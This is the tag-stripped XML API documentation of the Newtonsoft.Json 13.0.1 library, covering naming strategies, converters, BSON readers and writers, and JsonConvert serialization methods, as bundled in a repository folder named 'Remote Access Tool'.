Gets or sets a value indicating whether this property preserves object references. true if this instance is reference; otherwise, false. Gets or sets the property null value handling. The null value handling. Gets or sets the property default value handling. The default value handling. Gets or sets the property reference loop handling. The reference loop handling. Gets or sets the property object creation handling. The object creation handling. Gets or sets or sets the type name handling. The type name handling. Gets or sets a predicate used to determine whether the property should be serialized. A predicate used to determine whether the property should be serialized. Gets or sets a predicate used to determine whether the property should be deserialized. A predicate used to determine whether the property should be deserialized. Gets or sets a predicate used to determine whether the property should be serialized. A predicate used to determine whether the property should be serialized. Gets or sets an action used to set whether the property has been deserialized. An action used to set whether the property has been deserialized. Returns a that represents this instance. A that represents this instance. Gets or sets the converter used when serializing the property's collection items. The collection's items converter. Gets or sets whether this property's collection items are serialized as a reference. Whether this property's collection items are serialized as a reference. Gets or sets the type name handling used when serializing the property's collection items. The collection's items type name handling. Gets or sets the reference loop handling used when serializing the property's collection items. The collection's items reference loop handling. A collection of objects. Initializes a new instance of the class. The type. When implemented in a derived class, extracts the key from the specified element. The element from which to extract the key. The key for the specified element. Adds a object. The property to add to the collection. Gets the closest matching object. First attempts to get an exact case match of and then a case insensitive match. Name of the property. A matching property if found. Gets a property by property name. The name of the property to get. Type property name string comparison. A matching property if found. Contract details for a used by the . Initializes a new instance of the class. The underlying type for the contract. Lookup and create an instance of the type described by the argument. The type to create. Optional arguments to pass to an initializing constructor of the JsonConverter. If null, the default constructor is used. A kebab case naming strategy. Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . A flag indicating whether extension data names should be processed. Initializes a new instance of the class. Resolves the specified property name. The property name to resolve. The resolved property name. Represents a trace writer that writes to memory. When the trace message limit is reached then old trace messages will be removed as new messages are added. Gets the that will be used to filter the trace messages passed to the writer. For example a filter level of will exclude messages and include , and messages. The that will be used to filter the trace messages passed to the writer. Initializes a new instance of the class. Writes the specified trace level, message and optional exception. The at which to write this trace. The trace message. The trace exception. This parameter is optional. Returns an enumeration of the most recent trace messages. An enumeration of the most recent trace messages. Returns a of the most recent trace messages. A of the most recent trace messages. A base class for resolving how property names and dictionary keys are serialized. A flag indicating whether dictionary keys should be processed. Defaults to false. A flag indicating whether extension data names should be processed. Defaults to false. A flag indicating whether explicitly specified property names, e.g. a property name customized with a , should be processed. Defaults to false. Gets the serialized name for a given property name. The initial property name. A flag indicating whether the property has had a name explicitly specified. The serialized property name. Gets the serialized name for a given extension data name. The initial extension data name. The serialized extension data name. Gets the serialized key for a given dictionary key. The initial dictionary key. The serialized dictionary key. Resolves the specified property name. The property name to resolve. The resolved property name. Hash code calculation Object equality implementation Compare to another NamingStrategy Represents a method that constructs an object. The object type to create. When applied to a method, specifies that the method is called when an error occurs serializing an object. Provides methods to get attributes from a , , or . Initializes a new instance of the class. The instance to get attributes for. This parameter should be a , , or . Returns a collection of all of the attributes, or an empty collection if there are no attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. The type of the attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Get and set values for a using reflection. Initializes a new instance of the class. The member info. Sets the value. The target to set the value on. The value to set on the target. Gets the value. The target to get the value from. The value. A snake case naming strategy. Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . A flag indicating whether extension data names should be processed. Initializes a new instance of the class. Resolves the specified property name. The property name to resolve. The resolved property name. Specifies how strings are escaped when writing JSON text. Only control characters (e.g. newline) are escaped. All non-ASCII and control characters (e.g. newline) are escaped. HTML (<, >, &, ', ") and control characters (e.g. newline) are escaped. Indicates the method that will be used during deserialization for locating and loading assemblies. In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the LoadWithPartialName method of the class is used to load the assembly. In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The Load method of the class is used to load the assembly. Specifies type name handling options for the . should be used with caution when your application deserializes JSON from an external source. Incoming types should be validated with a custom when deserializing with a value other than . Do not include the .NET type name when serializing types. Include the .NET type name when serializing into a JSON object structure. Include the .NET type name when serializing into a JSON array structure. Always include the .NET type name when serializing. Include the .NET type name when the type of the object being serialized is not the same as its declared type. Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON you must specify a root type object with or . Determines whether the collection is null or empty. The collection. true if the collection is null or empty; otherwise, false. Adds the elements of the specified collection to the specified generic . The list to add to. The collection of elements to add. Converts the value to the specified type. If the value is unable to be converted, the value is checked whether it assignable to the specified type. The value to convert. The culture to use when converting. The type to convert or cast the value to. The converted type. If conversion was unsuccessful, the initial value is returned if assignable to the target type. Helper method for generating a MetaObject which calls a specific method on Dynamic that returns a result Helper method for generating a MetaObject which calls a specific method on Dynamic, but uses one of the arguments for the result. Helper method for generating a MetaObject which calls a specific method on Dynamic, but uses one of the arguments for the result. Returns a Restrictions object which includes our current restrictions merged with a restriction limiting our type Helper class for serializing immutable collections. Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed https://github.com/JamesNK/Newtonsoft.Json/issues/652 Gets the type of the typed collection's items. The type. The type of the typed collection's items. Gets the member's underlying type. The member. The underlying type of the member. Determines whether the property is an indexed property. The property. true if the property is an indexed property; otherwise, false. Gets the member's value on the object. The member. The target object. The member's value on the object. Sets the member's value on the target object. The member. The target. The value. Determines whether the specified MemberInfo can be read. The MemberInfo to determine whether can be read. /// if set to true then allow the member to be gotten non-publicly. true if the specified MemberInfo can be read; otherwise, false. Determines whether the specified MemberInfo can be set. The MemberInfo to determine whether can be set. if set to true then allow the member to be set non-publicly. if set to true then allow the member to be set if read-only. true if the specified MemberInfo can be set; otherwise, false. Builds a string. Unlike this class lets you reuse its internal buffer. Determines whether the string is all white space. Empty string will return false. The string to test whether it is all white space. true if the string is all white space; otherwise, false. Specifies the state of the . An exception has been thrown, which has left the in an invalid state. You may call the method to put the in the Closed state. Any other method calls result in an being thrown. The method has been called. An object is being written. An array is being written. A constructor is being written. A property is being written. A write method has not been called. Specifies that an output will not be null even if the corresponding type allows it. Specifies that when a method returns , the parameter will not be null even if the corresponding type allows it. Initializes the attribute with the specified return value condition. The return value condition. If the method returns this value, the associated parameter will not be null. Gets the return value condition. Specifies that an output may be null even if the corresponding type disallows it. Specifies that null is allowed as an input even if the corresponding type disallows it. Specifies that the method will not return if the associated Boolean parameter is passed the specified value. Initializes a new instance of the class. The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to the associated parameter matches this value. Gets the condition parameter value. ================================================ FILE: Remote Access Tool/packages/Newtonsoft.Json.13.0.1/lib/netstandard1.0/Newtonsoft.Json.xml ================================================ Newtonsoft.Json Represents a BSON Oid (object id). Gets or sets the value of the Oid. The value of the Oid. Initializes a new instance of the class. The Oid value. Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data. Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary. true if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, false. Gets or sets a value indicating whether the root object will be read as a JSON array. true if the root object will be read as a JSON array; otherwise, false. Gets or sets the used when reading values from BSON. The used when reading values from BSON. Initializes a new instance of the class. The containing the BSON data to read. Initializes a new instance of the class. The containing the BSON data to read. Initializes a new instance of the class. The containing the BSON data to read. if set to true the root object will be read as a JSON array. The used when reading values from BSON. Initializes a new instance of the class. The containing the BSON data to read. if set to true the root object will be read as a JSON array. The used when reading values from BSON. Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Changes the reader's state to . If is set to true, the underlying is also closed. Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data. Gets or sets the used when writing values to BSON. When set to no conversion will occur. The used when writing values to BSON. Initializes a new instance of the class. The to write to. Initializes a new instance of the class. The to write to. Flushes whatever is in the buffer to the underlying and also flushes the underlying stream. Writes the end. The token. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes the start of a constructor with the given name. The name of the constructor. Writes raw JSON. The raw JSON to write. Writes raw JSON where a value is expected and updates the writer's state. The raw JSON to write. Writes the beginning of a JSON array. Writes the beginning of a JSON object. Writes the property name of a name/value pair on a JSON object. The name of the property. Closes this writer. If is set to true, the underlying is also closed. If is set to true, the JSON is auto-completed. Writes a value. An error will raised if the value cannot be written as a single JSON token. The value to write. Writes a null value. Writes an undefined value. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value that represents a BSON object id. The Object ID value to write. Writes a BSON regex. The regex pattern. The regex options. Specifies how constructors are used when initializing objects during deserialization by the . First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor. Json.NET will use a non-public default constructor before falling back to a parameterized constructor. Converts a binary value to and from a base 64 string value. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a to and from JSON and BSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Creates a custom object. The object type to convert. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Creates an object which will then be populated by the serializer. Type of the object. The created object. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Gets a value indicating whether this can write JSON. true if this can write JSON; otherwise, false. Provides a base class for converting a to and from JSON. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a F# discriminated union type to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts an to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Gets a value indicating whether this can write JSON. true if this can write JSON; otherwise, false. Converts a to and from the ISO 8601 date format (e.g. "2008-04-12T12:53Z"). Gets or sets the date time styles used when converting a date to and from JSON. The date time styles used when converting a date to and from JSON. Gets or sets the date time format used when converting a date to and from JSON. The date time format used when converting a date to and from JSON. Gets or sets the culture used when converting a date to and from JSON. The culture used when converting a date to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Converts a to and from a JavaScript Date constructor (e.g. new Date(52231943)). Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing property value of the JSON that is being converted. The calling serializer. The object value. Converts a to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a to and from JSON and BSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts an to and from its name string value. Gets or sets a value indicating whether the written enum text should be camel case. The default value is false. true if the written enum text will be camel case; otherwise, false. Gets or sets the naming strategy used to resolve how enum text is written. The naming strategy used to resolve how enum text is written. Gets or sets a value indicating whether integer values are allowed when serializing and deserializing. The default value is true. true if integers are allowed when serializing and deserializing; otherwise, false. Initializes a new instance of the class. Initializes a new instance of the class. true if the written enum text will be camel case; otherwise, false. Initializes a new instance of the class. The naming strategy used to resolve how enum text is written. true if integers are allowed when serializing and deserializing; otherwise, false. Initializes a new instance of the class. The of the used to write enum text. Initializes a new instance of the class. The of the used to write enum text. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. Initializes a new instance of the class. The of the used to write enum text. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. true if integers are allowed when serializing and deserializing; otherwise, false. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a to and from Unix epoch time Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing property value of the JSON that is being converted. The calling serializer. The object value. Converts a to and from a string (e.g. "1.2.3.4"). Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing property value of the JSON that is being converted. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts XML to and from JSON. Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements. The name of the deserialized root element. Gets or sets a value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. true if the array attribute is written to the XML; otherwise, false. Gets or sets a value indicating whether to write the root JSON object. true if the JSON root object is omitted; otherwise, false. Gets or sets a value indicating whether to encode special characters when converting JSON to XML. If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify XML namespaces, attributes or processing directives. Instead special characters are encoded and written as part of the XML element name. true if special characters are encoded; otherwise, false. Writes the JSON representation of the object. The to write to. The calling serializer. The value. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Checks if the is a namespace attribute. Attribute name to test. The attribute name prefix if it has one, otherwise an empty string. true if attribute name is for a namespace attribute, otherwise false. Determines whether this instance can convert the specified value type. Type of the value. true if this instance can convert the specified value type; otherwise, false. Specifies how dates are formatted when writing JSON text. Dates are written in the ISO 8601 format, e.g. "2012-03-21T05:40Z". Dates are written in the Microsoft JSON format, e.g. "\/Date(1198908717056)\/". Specifies how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON text. Date formatted strings are not parsed to a date type and are read as strings. Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . Specifies how to treat the time value when converting between string and . Treat as local time. If the object represents a Coordinated Universal Time (UTC), it is converted to the local time. Treat as a UTC. If the object represents a local time, it is converted to a UTC. Treat as a local time if a is being converted to a string. If a string is being converted to , convert to a local time if a time zone is specified. Time zone information should be preserved when converting. The default JSON name table implementation. Initializes a new instance of the class. Gets a string containing the same characters as the specified range of characters in the given array. The character array containing the name to find. The zero-based index into the array specifying the first character of the name. The number of characters in the name. A string containing the same characters as the specified range of characters in the given array. Adds the specified string into name table. The string to add. This method is not thread-safe. The resolved string. Specifies default value handling options for the . Include members where the member value is the same as the member's default value when serializing objects. Included members are written to JSON. Has no effect when deserializing. Ignore members where the member value is the same as the member's default value when serializing objects so that it is not written to JSON. This option will ignore all default values (e.g. null for objects and nullable types; 0 for integers, decimals and floating point numbers; and false for booleans). The default value ignored can be changed by placing the on the property. Members with a default value but no JSON will be set to their default value when deserializing. Ignore members where the member value is the same as the member's default value when serializing objects and set members to their default value when deserializing. Specifies float format handling options when writing special floating point numbers, e.g. , and with . Write special floating point values as strings in JSON, e.g. "NaN", "Infinity", "-Infinity". Write special floating point values as symbols in JSON, e.g. NaN, Infinity, -Infinity. Note that this will produce non-valid JSON. Write special floating point values as the property's default value in JSON, e.g. 0.0 for a property, null for a of property. Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. Floating point numbers are parsed to . Floating point numbers are parsed to . Specifies formatting options for the . No special formatting is applied. This is the default. Causes child objects to be indented according to the and settings. Provides an interface for using pooled arrays. The array type content. Rent an array from the pool. This array must be returned when it is no longer needed. The minimum required length of the array. The returned array may be longer. The rented array from the pool. This array must be returned when it is no longer needed. Return an array to the pool. The array that is being returned. Provides an interface to enable a class to return line and position information. Gets a value indicating whether the class can return line information. true if and can be provided; otherwise, false. Gets the current line number. The current line number or 0 if no line information is available (for example, when returns false). Gets the current line position. The current line position or 0 if no line information is available (for example, when returns false). Instructs the how to serialize the collection. Gets or sets a value indicating whether null items are allowed in the collection. true if null items are allowed in the collection; otherwise, false. Initializes a new instance of the class. Initializes a new instance of the class with a flag indicating whether the array can contain null items. A flag indicating whether the array can contain null items. Initializes a new instance of the class with the specified container Id. The container Id. Instructs the to use the specified constructor when deserializing that object. Instructs the how to serialize the object. Gets or sets the id. The id. Gets or sets the title. The title. Gets or sets the description. The description. Gets or sets the collection's items converter. The collection's items converter. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] Gets or sets the of the . The of the . The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] Gets or sets a value that indicates whether to preserve object references. true to keep object reference; otherwise, false. The default is false. Gets or sets a value that indicates whether to preserve collection's items references. true to keep collection's items object references; otherwise, false. The default is false. Gets or sets the reference loop handling used when serializing the collection's items. The reference loop handling. Gets or sets the type name handling used when serializing the collection's items. The type name handling. Initializes a new instance of the class. Initializes a new instance of the class with the specified container Id. The container Id. Provides methods for converting between .NET types and JSON types. Gets or sets a function that creates default . Default settings are automatically used by serialization methods on , and and on . To serialize without using any default settings create a with . Represents JavaScript's boolean value true as a string. This field is read-only. Represents JavaScript's boolean value false as a string. This field is read-only. Represents JavaScript's null as a string. This field is read-only. Represents JavaScript's undefined as a string. This field is read-only. Represents JavaScript's positive infinity as a string. This field is read-only. Represents JavaScript's negative infinity as a string. This field is read-only. Represents JavaScript's NaN as a string. This field is read-only. Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation using the specified. The value to convert. The format the date will be converted to. The time zone handling when the date is converted to a string. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation using the specified. The value to convert. The format the date will be converted to. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. The string delimiter character. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. The string delimiter character. The string escape handling. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Serializes the specified object to a JSON string. The object to serialize. A JSON string representation of the object. Serializes the specified object to a JSON string using formatting. The object to serialize. Indicates how the output should be formatted. A JSON string representation of the object. Serializes the specified object to a JSON string using a collection of . The object to serialize. A collection of converters used while serializing. A JSON string representation of the object. Serializes the specified object to a JSON string using formatting and a collection of . The object to serialize. Indicates how the output should be formatted. A collection of converters used while serializing. A JSON string representation of the object. Serializes the specified object to a JSON string using . The object to serialize. The used to serialize the object. If this is null, default serialization settings will be used. A JSON string representation of the object. Serializes the specified object to a JSON string using a type, formatting and . The object to serialize. The used to serialize the object. If this is null, default serialization settings will be used. The type of the value being serialized. This parameter is used when is to write out the type name if the type of the value does not match. Specifying the type is optional. A JSON string representation of the object. Serializes the specified object to a JSON string using formatting and . The object to serialize. Indicates how the output should be formatted. The used to serialize the object. If this is null, default serialization settings will be used. A JSON string representation of the object. Serializes the specified object to a JSON string using a type, formatting and . The object to serialize. Indicates how the output should be formatted. The used to serialize the object. If this is null, default serialization settings will be used. The type of the value being serialized. This parameter is used when is to write out the type name if the type of the value does not match. Specifying the type is optional. A JSON string representation of the object. Deserializes the JSON to a .NET object. The JSON to deserialize. The deserialized object from the JSON string. Deserializes the JSON to a .NET object using . The JSON to deserialize. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type. The JSON to deserialize. The of object being deserialized. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type. The type of the object to deserialize to. The JSON to deserialize. The deserialized object from the JSON string. Deserializes the JSON to the given anonymous type. The anonymous type to deserialize to. This can't be specified traditionally and must be inferred from the anonymous type passed as a parameter. The JSON to deserialize. The anonymous type object. The deserialized anonymous type from the JSON string. Deserializes the JSON to the given anonymous type using . The anonymous type to deserialize to. This can't be specified traditionally and must be inferred from the anonymous type passed as a parameter. The JSON to deserialize. The anonymous type object. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized anonymous type from the JSON string. Deserializes the JSON to the specified .NET type using a collection of . The type of the object to deserialize to. The JSON to deserialize. Converters to use while deserializing. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type using . The type of the object to deserialize to. The object to deserialize. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type using a collection of . The JSON to deserialize. The type of the object to deserialize. Converters to use while deserializing. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type using . The JSON to deserialize. The type of the object to deserialize to. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized object from the JSON string. Populates the object with values from the JSON string. The JSON to populate values from. The target object to populate values onto. Populates the object with values from the JSON string using . The JSON to populate values from. The target object to populate values onto. The used to deserialize the object. If this is null, default serialization settings will be used. Serializes the to a JSON string. The node to convert to JSON. A JSON string of the . Serializes the to a JSON string using formatting. The node to convert to JSON. Indicates how the output should be formatted. A JSON string of the . Serializes the to a JSON string using formatting and omits the root object if is true. The node to serialize. Indicates how the output should be formatted. Omits writing the root object. A JSON string of the . Deserializes the from a JSON string. The JSON string. The deserialized . Deserializes the from a JSON string nested in a root element specified by . The JSON string. The name of the root element to append when deserializing. The deserialized . Deserializes the from a JSON string nested in a root element specified by and writes a Json.NET array attribute for collections. The JSON string. The name of the root element to append when deserializing. A value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. The deserialized . Deserializes the from a JSON string nested in a root element specified by , writes a Json.NET array attribute for collections, and encodes special characters. The JSON string. The name of the root element to append when deserializing. A value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. A value to indicate whether to encode special characters when converting JSON to XML. If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify XML namespaces, attributes or processing directives. Instead special characters are encoded and written as part of the XML element name. The deserialized . Converts an object to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Gets a value indicating whether this can read JSON. true if this can read JSON; otherwise, false. Gets a value indicating whether this can write JSON. true if this can write JSON; otherwise, false. Converts an object to and from JSON. The object type to convert. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. If there is no existing value then null will be used. The existing value has a value. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Instructs the to use the specified when serializing the member or class. Gets the of the . The of the . The parameter list to use when constructing the described by . If null, the default constructor is used. Initializes a new instance of the class. Type of the . Initializes a new instance of the class. Type of the . Parameter list to use when constructing the . Can be null. Represents a collection of . Instructs the how to serialize the collection. Initializes a new instance of the class. Initializes a new instance of the class with the specified container Id. The container Id. The exception thrown when an error occurs during JSON serialization or deserialization. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Instructs the to deserialize properties with no matching class member into the specified collection and write values during serialization. Gets or sets a value that indicates whether to write extension data when serializing the object. true to write extension data when serializing the object; otherwise, false. The default is true. Gets or sets a value that indicates whether to read extension data when deserializing the object. true to read extension data when deserializing the object; otherwise, false. The default is true. Initializes a new instance of the class. Instructs the not to serialize the public field or public read/write property value. Base class for a table of atomized string objects. Gets a string containing the same characters as the specified range of characters in the given array. The character array containing the name to find. The zero-based index into the array specifying the first character of the name. The number of characters in the name. A string containing the same characters as the specified range of characters in the given array. Instructs the how to serialize the object. Gets or sets the member serialization. The member serialization. Gets or sets the missing member handling used when deserializing this object. The missing member handling. Gets or sets how the object's properties with null values are handled during serialization and deserialization. How the object's properties with null values are handled during serialization and deserialization. Gets or sets a value that indicates whether the object's properties are required. A value indicating whether the object's properties are required. Initializes a new instance of the class. Initializes a new instance of the class with the specified member serialization. The member serialization. Initializes a new instance of the class with the specified container Id. The container Id. Instructs the to always serialize the member with the specified name. Gets or sets the type used when serializing the property's collection items. The collection's items type. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] Gets or sets the of the . The of the . The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] Gets or sets the null value handling used when serializing this property. The null value handling. Gets or sets the default value handling used when serializing this property. The default value handling. Gets or sets the reference loop handling used when serializing this property. The reference loop handling. Gets or sets the object creation handling used when deserializing this property. The object creation handling. Gets or sets the type name handling used when serializing this property. The type name handling. Gets or sets whether this property's value is serialized as a reference. Whether this property's value is serialized as a reference. Gets or sets the order of serialization of a member. The numeric order of serialization. Gets or sets a value indicating whether this property is required. A value indicating whether this property is required. Gets or sets the name of the property. The name of the property. Gets or sets the reference loop handling used when serializing the property's collection items. The collection's items reference loop handling. Gets or sets the type name handling used when serializing the property's collection items. The collection's items type name handling. Gets or sets whether this property's collection items are serialized as a reference. Whether this property's collection items are serialized as a reference. Initializes a new instance of the class. Initializes a new instance of the class with the specified name. Name of the property. Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. Asynchronously reads the next JSON token from the source. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns true if the next token was read successfully; false if there are no more tokens to read. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously skips the children of the current token. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a []. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the []. This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON 